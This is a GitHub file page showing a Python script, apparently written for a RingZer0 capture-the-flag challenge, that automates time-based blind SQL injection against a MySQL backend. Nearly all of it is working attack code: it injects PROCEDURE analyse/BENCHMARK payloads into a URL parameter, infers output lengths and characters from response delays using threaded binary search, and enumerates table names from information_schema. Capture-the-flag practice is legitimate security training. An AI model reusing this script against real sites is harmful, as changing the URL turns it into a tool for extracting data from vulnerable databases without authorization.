-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathblind-sql-injection-time.py
196 lines (161 loc) · 6.27 KB
/
blind-sql-injection-time.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
import requests
import urllib3
import sys
import threading
import time
# Target URL and suffix to sqli query
url = "http://challenges.ringzer0team.com:10189/clients.php?max="
# SQL Injection type based on inference type.
sqli_type = "time_based"
# Proxy settings
http_proxy = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
timeout = 2
# cookies + user agent, if required!
user_agent = 'Mozilla/5.0 (Windows NT x.y; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0'
# Headers settings
headers = {'User-Agent': user_agent}
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
result_length=0
result_index =1
result={}
# Class to manage threads
class ScanningThread(threading.Thread):
def __init__(self,query,result,result_length):
threading.Thread.__init__(self)
self.query = query
self.result = result
self.result_length = result_length
def run(self):
# fetch position of character to fetch,
# fetch char,
# save in dictionary -> result
while True:
position = get_postion()
if position == None:
break
c = char_at_position(self.query, position)
if c==None:
self.result[position] = '*'
else:
self.result[position] = chr(c)
sys.stdout.write("\rCompleted: %d%% " % ((len(self.result) / self.result_length) * 100))
for i in range(1, self.result_length + 1):
if i in self.result:
sys.stdout.write(self.result[i])
else:
sys.stdout.write("*")
sys.stdout.flush()
#find length output of given query
def output_length(query):
start_index = 0
end_index = 2000
while start_index < end_index:
mid = start_index + int(( end_index - start_index )/2)
action = url + "1,1+PROCEDURE+analyse((select+extractvalue(rand(),concat(0x3a,(IF(length("+query+")+between+"+str(start_index)+"+and+"+str(mid)+",BENCHMARK(4000000,SHA1(1)),1))))),1)"
try:
start_time = time.time()
response = requests.get(action, headers=headers, allow_redirects=True,
proxies={"http": http_proxy, "https": https_proxy}, verify=False, timeout=timeout)
end_time = time.time()
print("response: " , str(end_time - start_time))
start_index = mid + 1
except requests.exceptions.Timeout:
end_time = time.time()
print("response: " , str(end_time - start_time))
end_index = mid
except:
pass
return start_index
#find length output of given query
def rows_count(query):
start_index = 0
end_index = 2000
while start_index < end_index:
mid = start_index + int(( end_index - start_index )/2)
action = url + "1,1+PROCEDURE+analyse((select+extractvalue(rand(),concat(0x3a,(IF("+query+"+between+"+str(start_index)+"+and+"+str(mid)+",BENCHMARK(4000000,SHA1(1)),1))))),1)"
try:
start_time = time.time()
response = requests.get(action, headers=headers, allow_redirects=True,
proxies={"http": http_proxy, "https": https_proxy}, verify=False, timeout=timeout)
end_time = time.time()
print("response: " , str(end_time - start_time))
start_index = mid + 1
except requests.exceptions.Timeout:
end_time = time.time()
print("response: " , str(end_time - start_time))
end_index = mid
except:
pass
return start_index
# fetch character for given position
def char_at_position(query, position):
start_index = 0
end_index = 256
while start_index < end_index:
mid = start_index + int(( end_index - start_index )/2)
action = url + "1,1+PROCEDURE+analyse((select+extractvalue(rand(),concat(0x3a,(IF(ascii(substring(" + query + "," + str(position) + ",1))+between+" + str(
start_index) + "+and+" + str(mid) + ",BENCHMARK(4000000,SHA1(1)),1))))),1)"
try:
response = requests.get(action, headers=headers, allow_redirects=True,
proxies={"http": http_proxy, "https": https_proxy}, verify=False, timeout=timeout)
start_index = mid + 1
except requests.exceptions.Timeout:
end_index = mid
except:
pass
return start_index
# return position to threads
def get_postion():
global result_index
global result_length
ret = result_index
if result_index < result_length+1:
threadLock.acquire()
result_index = result_index + 1
threadLock.release()
return ret
return None
def get_query_results(query):
global result_index
global result_length
result_index = 1
result_length= output_length(query)
print("Output Length: ", result_length)
if result_length == 1999:
print("Something is wrong! Please may there is not data")
return
# start threads
result = {}
threads = []
for i in range(0, number_of_threads):
threads.append(ScanningThread(query,result,result_length))
for i in range(0, number_of_threads):
threads[i].start()
for i in range(0, number_of_threads):
threads[i].join()
# print result/output
print()
for i in range(1, result_length + 1):
if i in result:
print(result[i], end="")
else:
print("*")
print("\n")
number_of_threads = 10
threadLock = threading.Lock()
#get_query_results("version()")
#get_query_results("user()")
#get_query_results("database()")
table = "information_schema.tables where table_schema like 0x73716c6932"
column = "concat(0x3a3a,table_name)"
count = rows_count("(select count(*) from "+table+")")
print("Rows Count: ",count)
# start program
for c in range(0,count,1):
# take query from user
query = "(select "+ column +" from "+table + " limit " +str(c)+ ",1)"
#query = "database()" # input("sql> ")
print("MySQL> select", query)
get_query_results(query)
# find length of output of query